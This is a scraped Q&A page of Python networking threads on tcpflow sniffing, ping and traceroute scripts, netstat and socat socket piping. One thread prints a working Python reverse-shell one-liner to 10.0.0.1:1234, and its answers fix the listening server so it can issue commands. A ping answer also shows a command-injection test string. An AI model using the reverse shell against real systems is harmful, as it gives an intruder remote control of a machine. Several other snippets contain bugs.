Reading from pipe in python is imposiible - python

Hello I have the following code in python 2.6:
command = "tcpflow -c -i any port 5559"
port_sniffer = subprocess.Popen(command, stdout=subprocess.PIPE, bufsize=1, shell=True)
while True:
line = port_sniffer.stdout.readline()
#do some stuff with line
The purpose of this code is to sniff the traffic between two processes (A and B) that communicate on port 5559.
Now let me describe the different scenarios I am having:
1) Code above is not running:
A and B are communicating and i can see it clearly using logs and the linux command netstat -napl | grep 5559 shows that the processes are communicating on the desired port.
2) Code above is not running and I am sniffing by running tcpflow -c -i any port 5559 directly from shell:
I can see the communication on console clearly :-).
3) Code above is running: Proccesses can't communicate. netstat -napl | grep 5559 prints nothing and logs give out errors!!!
4) Code above is running in debug mode: I can't seem to be able to step after the line line = port_sniffer.stdout.readline()
I tried using an iterator instead of a while loop (not that it should matter but still I am pointing it out). I also tried different values for bufsize (none, 1, and 8).
Please help!!


So after a quick read through the docs I found these two sentences:
On Unix, if args is a string, the string is interpreted as the name or
path of the program to execute
and
The shell argument (which defaults to False) specifies whether to use
the shell as the program to execute. If shell is True, it is
recommended to pass args as a string rather than as a sequence.
Based on this, I would recommend recreating your command as a list:
command = ["tcpflow -c", "-i any port 5559"] #I don't know linux, so double check this line!!
The general idea is this (also from the docs):
If args is a sequence, the first item specifies the command string,
and any additional items will be treated as additional arguments to
the shell itself. That is to say, Popen does the equivalent of:
Popen(['/bin/sh', '-c', args[0], args[1], ...])
Additionally, it seems that to read from your process, you should use communicate(). So
while True:
line = port_sniffer.stdout.readline()
would become
while True:
line = port_sniffer.communicate()[0]
But keep in mind this note from the docs:
Note The data read is buffered in memory, so do not use this method if the data size is large or unlimited.


If I had to guess, I think the problem that you're having is that you aren't running your program as root. TCPFlow needs to be run as a privelaged user if you want to be able to sniff other people's traffic (otherwise that'd be a serious security vulnerability). I wrote the following programs and they worked just fine for your scenario
server.py
#!/usr/bin/python
import socket
s = socket.socket()
host = socket.gethostname()
port = 12345
s.bind((host,port))
s.listen(5)
while True:
c, addr = s.accept()
print 'Connection from', addr
c.send('Test string 1234')
c.recv(1024)
while x != 'q':
print "Received " + x
c.send('Blah')
x = c.recv(1024)
print "Closing connection"
c.close()
client.py
#!/usr/bin/python
import socket, sys
from time import sleep
from datetime import datetime
s = socket.socket()
host = socket.gethostname()
port = 12345
s.connect((host,port))
c = sys.stdin.read(1) # Type a char to send to initate the sending loop
while True:
s.send(str(datetime.now()))
s.sleep(3)
msg = s.recv(1024)
flow.py
#!/usr/bin/python
import subprocess
command = 'tcpflow -c -i any port 12345'
sniffer = subprocess.Popen(command, stdout=subprocess.PIPE, shell=True)
while True:
print sniffer.stdout.readline()

Related

How do i ping websites in Python? [duplicate]

How do I ping a website or IP address with Python?

See this pure Python ping by Matthew Dixon Cowles and Jens Diemer. Also, remember that Python requires root to spawn ICMP (i.e. ping) sockets in linux.
import ping, socket
try:
ping.verbose_ping('www.google.com', count=3)
delay = ping.Ping('www.wikipedia.org', timeout=2000).do()
except socket.error, e:
print "Ping Error:", e
The source code itself is easy to read, see the implementations of verbose_ping and of Ping.do for inspiration.

Depending on what you want to achive, you are probably easiest calling the system ping command..
Using the subprocess module is the best way of doing this, although you have to remember the ping command is different on different operating systems!
import subprocess
host = "www.google.com"
ping = subprocess.Popen(
["ping", "-c", "4", host],
stdout = subprocess.PIPE,
stderr = subprocess.PIPE
)
out, error = ping.communicate()
print out
You don't need to worry about shell-escape characters. For example..
host = "google.com; `echo test`
..will not execute the echo command.
Now, to actually get the ping results, you could parse the out variable. Example output:
round-trip min/avg/max/stddev = 248.139/249.474/250.530/0.896 ms
Example regex:
import re
matcher = re.compile("round-trip min/avg/max/stddev = (\d+.\d+)/(\d+.\d+)/(\d+.\d+)/(\d+.\d+)")
print matcher.search(out).groups()
# ('248.139', '249.474', '250.530', '0.896')
Again, remember the output will vary depending on operating system (and even the version of ping). This isn't ideal, but it will work fine in many situations (where you know the machines the script will be running on)

You may find Noah Gift's presentation Creating Agile Commandline Tools With Python. In it he combines subprocess, Queue and threading to develop solution that is capable of pinging hosts concurrently and speeding up the process. Below is a basic version before he adds command line parsing and some other features. The code to this version and others can be found here
#!/usr/bin/env python2.5
from threading import Thread
import subprocess
from Queue import Queue
num_threads = 4
queue = Queue()
ips = ["10.0.1.1", "10.0.1.3", "10.0.1.11", "10.0.1.51"]
#wraps system ping command
def pinger(i, q):
"""Pings subnet"""
while True:
ip = q.get()
print "Thread %s: Pinging %s" % (i, ip)
ret = subprocess.call("ping -c 1 %s" % ip,
shell=True,
stdout=open('/dev/null', 'w'),
stderr=subprocess.STDOUT)
if ret == 0:
print "%s: is alive" % ip
else:
print "%s: did not respond" % ip
q.task_done()
#Spawn thread pool
for i in range(num_threads):
worker = Thread(target=pinger, args=(i, queue))
worker.setDaemon(True)
worker.start()
#Place work in queue
for ip in ips:
queue.put(ip)
#Wait until worker threads are done to exit
queue.join()
He is also author of: Python for Unix and Linux System Administration
http://ecx.images-amazon.com/images/I/515qmR%2B4sjL._SL500_AA240_.jpg

It's hard to say what your question is, but there are some alternatives.
If you mean to literally execute a request using the ICMP ping protocol, you can get an ICMP library and execute the ping request directly. Google "Python ICMP" to find things like this icmplib. You might want to look at scapy, also.
This will be much faster than using os.system("ping " + ip ).
If you mean to generically "ping" a box to see if it's up, you can use the echo protocol on port 7.
For echo, you use the socket library to open the IP address and port 7. You write something on that port, send a carriage return ("\r\n") and then read the reply.
If you mean to "ping" a web site to see if the site is running, you have to use the http protocol on port 80.
For or properly checking a web server, you use urllib2 to open a specific URL. (/index.html is always popular) and read the response.
There are still more potential meaning of "ping" including "traceroute" and "finger".

I did something similar this way, as an inspiration:
import urllib
import threading
import time
def pinger_urllib(host):
"""
helper function timing the retrival of index.html
TODO: should there be a 1MB bogus file?
"""
t1 = time.time()
urllib.urlopen(host + '/index.html').read()
return (time.time() - t1) * 1000.0
def task(m):
"""
the actual task
"""
delay = float(pinger_urllib(m))
print '%-30s %5.0f [ms]' % (m, delay)
# parallelization
tasks = []
URLs = ['google.com', 'wikipedia.org']
for m in URLs:
t = threading.Thread(target=task, args=(m,))
t.start()
tasks.append(t)
# synchronization point
for t in tasks:
t.join()

Here's a short snippet using subprocess. The check_call method either returns 0 for success, or raises an exception. This way, I don't have to parse the output of ping. I'm using shlex to split the command line arguments.
import subprocess
import shlex
command_line = "ping -c 1 www.google.comsldjkflksj"
args = shlex.split(command_line)
try:
subprocess.check_call(args,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
print "Website is there."
except subprocess.CalledProcessError:
print "Couldn't get a ping."

Most simple answer is:
import os
os.system("ping google.com")

I develop a library that I think could help you. It is called icmplib (unrelated to any other code of the same name that can be found on the Internet) and is a pure implementation of the ICMP protocol in Python.
It is completely object oriented and has simple functions such as the classic ping, multiping and traceroute, as well as low level classes and sockets for those who want to develop applications based on the ICMP protocol.
Here are some other highlights:
Can be run without root privileges.
You can customize many parameters such as the payload of ICMP packets and the traffic class (QoS).
Cross-platform: tested on Linux, macOS and Windows.
Fast and requires few CPU / RAM resources unlike calls made with subprocess.
Lightweight and does not rely on any additional dependencies.
To install it (Python 3.6+ required):
pip3 install icmplib
Here is a simple example of the ping function:
host = ping('1.1.1.1', count=4, interval=1, timeout=2, privileged=True)
if host.is_alive:
print(f'{host.address} is alive! avg_rtt={host.avg_rtt} ms')
else:
print(f'{host.address} is dead')
Set the "privileged" parameter to False if you want to use the library without root privileges.
You can find the complete documentation on the project page:
https://github.com/ValentinBELYN/icmplib
Hope you will find this library useful.

read a file name, the file contain the one url per line, like this:
http://www.poolsaboveground.com/apache/hadoop/core/
http://mirrors.sonic.net/apache/hadoop/core/
use command:
python url.py urls.txt
get the result:
Round Trip Time: 253 ms - mirrors.sonic.net
Round Trip Time: 245 ms - www.globalish.com
Round Trip Time: 327 ms - www.poolsaboveground.com
source code(url.py):
import re
import sys
import urlparse
from subprocess import Popen, PIPE
from threading import Thread
class Pinger(object):
def __init__(self, hosts):
for host in hosts:
hostname = urlparse.urlparse(host).hostname
if hostname:
pa = PingAgent(hostname)
pa.start()
else:
continue
class PingAgent(Thread):
def __init__(self, host):
Thread.__init__(self)
self.host = host
def run(self):
p = Popen('ping -n 1 ' + self.host, stdout=PIPE)
m = re.search('Average = (.*)ms', p.stdout.read())
if m: print 'Round Trip Time: %s ms -' % m.group(1), self.host
else: print 'Error: Invalid Response -', self.host
if __name__ == '__main__':
with open(sys.argv[1]) as f:
content = f.readlines()
Pinger(content)

import subprocess as s
ip=raw_input("Enter the IP/Domain name:")
if(s.call(["ping",ip])==0):
print "your IP is alive"
else:
print "Check ur IP"

If you want something actually in Python, that you can play with, have a look at Scapy:
from scapy.all import *
request = IP(dst="www.google.com")/ICMP()
answer = sr1(request)
That's in my opinion much better (and fully cross-platform), than some funky subprocess calls. Also you can have as much information about the answer (sequence ID.....) as you want, as you have the packet itself.

using system ping command to ping a list of hosts:
import re
from subprocess import Popen, PIPE
from threading import Thread
class Pinger(object):
def __init__(self, hosts):
for host in hosts:
pa = PingAgent(host)
pa.start()
class PingAgent(Thread):
def __init__(self, host):
Thread.__init__(self)
self.host = host
def run(self):
p = Popen('ping -n 1 ' + self.host, stdout=PIPE)
m = re.search('Average = (.*)ms', p.stdout.read())
if m: print 'Round Trip Time: %s ms -' % m.group(1), self.host
else: print 'Error: Invalid Response -', self.host
if __name__ == '__main__':
hosts = [
'www.pylot.org',
'www.goldb.org',
'www.google.com',
'www.yahoo.com',
'www.techcrunch.com',
'www.this_one_wont_work.com'
]
Pinger(hosts)

You can find an updated version of the mentioned script that works on both Windows and Linux here

using subprocess ping command to ping decode it because the response is binary:
import subprocess
ping_response = subprocess.Popen(["ping", "-a", "google.com"], stdout=subprocess.PIPE).stdout.read()
result = ping_response.decode('utf-8')
print(result)

you might try socket to get ip of the site and use scrapy to excute icmp ping to the ip.
import gevent
from gevent import monkey
# monkey.patch_all() should be executed before any library that will
# standard library
monkey.patch_all()
import socket
from scapy.all import IP, ICMP, sr1
def ping_site(fqdn):
ip = socket.gethostbyaddr(fqdn)[-1][0]
print(fqdn, ip, '\n')
icmp = IP(dst=ip)/ICMP()
resp = sr1(icmp, timeout=10)
if resp:
return (fqdn, False)
else:
return (fqdn, True)
sites = ['www.google.com', 'www.baidu.com', 'www.bing.com']
jobs = [gevent.spawn(ping_site, fqdn) for fqdn in sites]
gevent.joinall(jobs)
print([job.value for job in jobs])

On python 3 you can use ping3.
from ping3 import ping, verbose_ping
ip-host = '8.8.8.8'
if not ping(ip-host):
raise ValueError('{} is not available.'.format(ip-host))

If you only want to check whether a machine on an IP is active or not, you can just use python sockets.
import socket
s = socket.socket()
try:
s.connect(("192.168.1.123", 1234)) # You can use any port number here
except Exception as e:
print(e.errno, e)
Now, according to the error message displayed (or the error number), you can determine whether the machine is active or not.

Use this it's tested on python 2.7 and works fine it returns ping time in milliseconds if success and return False on fail.
import platform,subproccess,re
def Ping(hostname,timeout):
if platform.system() == "Windows":
command="ping "+hostname+" -n 1 -w "+str(timeout*1000)
else:
command="ping -i "+str(timeout)+" -c 1 " + hostname
proccess = subprocess.Popen(command, stdout=subprocess.PIPE)
matches=re.match('.*time=([0-9]+)ms.*', proccess.stdout.read(),re.DOTALL)
if matches:
return matches.group(1)
else:
return False

bash shell and python server to send commands

I had a doubt regarding one of my reverse shell I tried locally :
After trying manually the steps to get an interactive shell with the following reverse shell :
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
_
I tried to do a python server that would automate this :
# coding: utf-8
import socket
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.bind(('', 1234))
socket.listen(1)
client, address = socket.accept()
print "{} connected".format( address )
while True:
print(client.recv(2048)) # this showed me I had a shell
client.send(input("").encode('utf-8'))
client.close()
stock.close()
Can someone figure out why my commands are not executed but the shell is launched (client side)?
Thanks.

client.send(input("").encode('utf-8'))
input will strip the newline from the input it read. The shell though is expecting a command to end with a newline. The fix is thus to add the missing newline:
client.send(input("").encode('utf-8') + b"\n")

First, the variable names should not be the same as the library names.
Since you are connecting directly to the shell, you must use a newline specifier, i.e. '\n' every time data is sent
You need to decode the incoming data
Closing the client and socket will not work. Because it will never exit the while loop and the codes below will not work. You can do a check for output for that. For example, when you type 'exit', the loop will end.
The code should be at least like this:
import socket
def interact(client):
command=''
while(command != 'exit'):
command=input('$ ')
client.send((command + '\n').encode('utf-8'))
print client.recv(2048).decode('utf-8')
client.close()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('', 1234))
s.listen(1)
client, addr = s.accept()
print "{} connected".format( addr )
interact(client)

How to find out the binded address and port of a running server progress written in python?

Except from source code, I tried $ netstat and found nothing about the server.py app I was just running.
My app is here:
import socket
from server_const import const
def server(port=1060):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(("127.0.0.1", port))
print("The server is listening at {}".format(sock.getsockname()))
while True:
data, address = sock.recvfrom(const.MAX_BYTES.value)
text = data.decode("utf-8")
print("The client at {} says {!r}".format(address, text))
text = "Your data was {} bytes long".format(len(data))
data = text.encode("utf-8")
sock.sendto(data, address)
I run my app in terminal and press ctrl+z to suspend the process, how can I find the binded address and port from my terminal?

If you're running on linux you can run the program as a background process to keep it from closing.
./server.py &
You'll need to use a program like htop or top to terminate the program once it's running in the background. (of course there are several other ways)
Or alternatively you could open another terminal session.
Once you've got it running use this.
netstat -lnp | grep $(pgrep server.py)
netstat
-l: limits to listening processes,
-n: doesn't resolve names (since you said you wanted ip),
p: display programs (so we can search by name))
| pipe to combine commands
grep (search) by PI (Process ID)
$() variable, will be evaluated first
pgrep server.py (searches for process id of named program)

traceroute multiple hos python. (reading .txt line by line)

I know this script was discussed here before, but I still can't run it properly. Problem is reading text file line by line. In older script
while host:
print host
was used, but using this method program crashed, so I decided to change it to
for host in Open_host:
host = host.strip()
but using this script only gives results of the last line in .txt file. Can someone help me to get it working?
The sript below:
# import subprocess
import subprocess
# Prepare host and results file
Open_host = open('c:/OSN/host.txt','r')
Write_results = open('c:/OSN/TracerouteResults.txt','a')
host = Open_host.readline()
# loop: excuse trace route for each host
for host in Open_host:
host = host.strip()
# execute Traceroute process and pipe the result to a string
Traceroute = subprocess.Popen(["tracert", '-w', '100', host],
stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
while True:
hop = Traceroute.stdout.readline()
if not hop: break
print '-->',hop
Write_results.write( hop )
Traceroute.wait()
# Reading a new host
host = Open_host.readline()
# close files
Open_host.close()
Write_results.close()

I assume you only have two or three hosts in your host.txt file. The culprits are the calls to Open_host.readline() you make before the loop and at the end of each iteration, causing your script to skip the first host in the list, and one host out of two. Just removing those should solve your problem.
Here's the code, updated a bit to be more pythonic:
import subprocess
with open("hostlist.txt", "r") as hostlist, open("results.txt", "a") as output:
for host in hostlist:
host = host.strip()
print "Tracing", host
trace = subprocess.Popen(["tracert", "-w", "100", host], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
while True:
hop = trace.stdout.readline()
if not hop: break
print '-->', hop.strip()
output.write(hop)
# When you pipe stdout, the doc recommends that you use .communicate()
# instead of wait()
# see: http://docs.python.org/2/library/subprocess.html#subprocess.Popen.wait
trace.communicate()

Pipe Unix Socket to a random TCP socket using Python and may be Socat

I want to pipe a TCP socket to Unix socket
I could do this using socat like this
socat TCP-LISTEN:1234 UNIX-CONNECT:test.socket
But the problem here, I don't want to specify the port number myself
I want the OS to choose a free port for me, yet I can still know the port.
I wrote this script, that doesn't work, but may illustrate what I want to do
def bind(unix_sock_file):
tcp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcp_socket.bind(('', 0))
tcp_socket.listen(1)
cmd = 'socat - UNIX-CONNECT:%s' % unix_sock_file
Popen(cmd, shell=True, stdin=tcp_socket, stdout=tcp_socket, close_fds=True)
return tcp_socket.getsockname()
The error I got is:
2012/09/11 15:34:39 socat[26509] E read(0, 0x1e97a90, 8192): Transport
endpoint is not connected
Note#1: I accept any other solution other that socat too
Note#2: This script should pipe a Web Server listening on the Unix Socket, and a Web Browser connecting to the generated TCP port.
Thanks in advance

Try socket.getsockname() to get the port number, like this (tried in iPython):
In [7]: tcp_socket.getsockname()[1]
Out[7]: 41605

Try replacing UNIX-CONNECT with UNIX-LISTEN. With CONNECT, you are trying to connect to a socket that exists; which it doesn't so it faults. If I understand what you want, you want this code to create a new UNIX socket.
Change:
cmd = 'socat - UNIX-CONENCT:%s' % unix_sock_file
To:
cmd = 'socat - UNIX-LISTEN:%s' % unix_sock_file

I figured out a simpler way to it, here it is:
def bind(unix_sock_file):
CMD = "socat TCP-LISTEN:0 UNIX-CONNECT:%s" % unix_sock_file
pid = Popen(CMD, shell=True, close_fds=True).pid
return psutil.Process(pid).get_children()[0].get_connections()[0].local_address[1]

Categories

Resources